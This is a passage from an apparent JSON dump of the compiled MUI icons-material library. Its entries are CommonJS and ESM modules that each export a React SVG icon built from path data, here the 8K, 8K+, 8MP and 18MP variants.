    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 11c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12M19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1z\"\n}, \"1\")], 'EightKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1zM21 3H3v18h18zM10 14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm6 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'EightKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1zM21 3H3v18h18zM10 14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm6 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'EightKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h2c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1v1.5h-1zm0 2.5h1V14h-1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"4\")], 'EightKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zm0-2.5h1v1.5h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h2c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1v1.5h-1zm0 2.5h1V14h-1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"4\")], 'EightKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm5.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'EightKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm5.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'EightKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm13-7H3v18h18zm-10 7v4c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1m7 5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'EightKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM8 10h1.5v1.5H8zm13-7H3v18h18zm-10 7v4c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H10c.55 0 1 .45 1 1m7 5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'EightKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm0 2.5h1.5V14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 1c0-.55.45-1 1-1H10c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 15H10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H8zm0 2.5h1.5V14H8z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"4\")], 'EightKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm0 2.5h1.5V14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 1c0-.55.45-1 1-1H10c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 15H10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H8zm0 2.5h1.5V14H8z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"4\")], 'EightKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zm0-2.5H13V8h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-1-8c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm1 3.5H17v1.5h-1.5z\"\n}), 'EightMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zm0-2.5H13V8h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-1-8c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm1 3.5H17v1.5h-1.5z\"\n}), 'EightMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\"\n}, \"2\")], 'EightMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\"\n}, \"2\")], 'EightMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm2.5 11.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zm0-2.5H13V8h-1.5z\"\n}, \"2\")], 'EightMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm2.5 11.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zm0-2.5H13V8h-1.5z\"\n}, \"2\")], 'EightMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm7 2.5h4.5v6H10zm2.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'EightMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm7 2.5h4.5v6H10zm2.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'EightMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm-4 7c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\"\n}, \"4\")], 'EightMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm-4 7c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H13V8h-1.5zm0 2.5H13v1.5h-1.5z\"\n}, \"4\")], 'EightMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm-3 0H15V9h-1.5zm0-2.5H15V6.5h-1.5zm2 6H17v1.5h-1.5z\"\n}), 'EighteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm-3 0H15V9h-1.5zm0-2.5H15V6.5h-1.5zm2 6H17v1.5h-1.5z\"\n}), 'EighteenMp');"
  },
  {
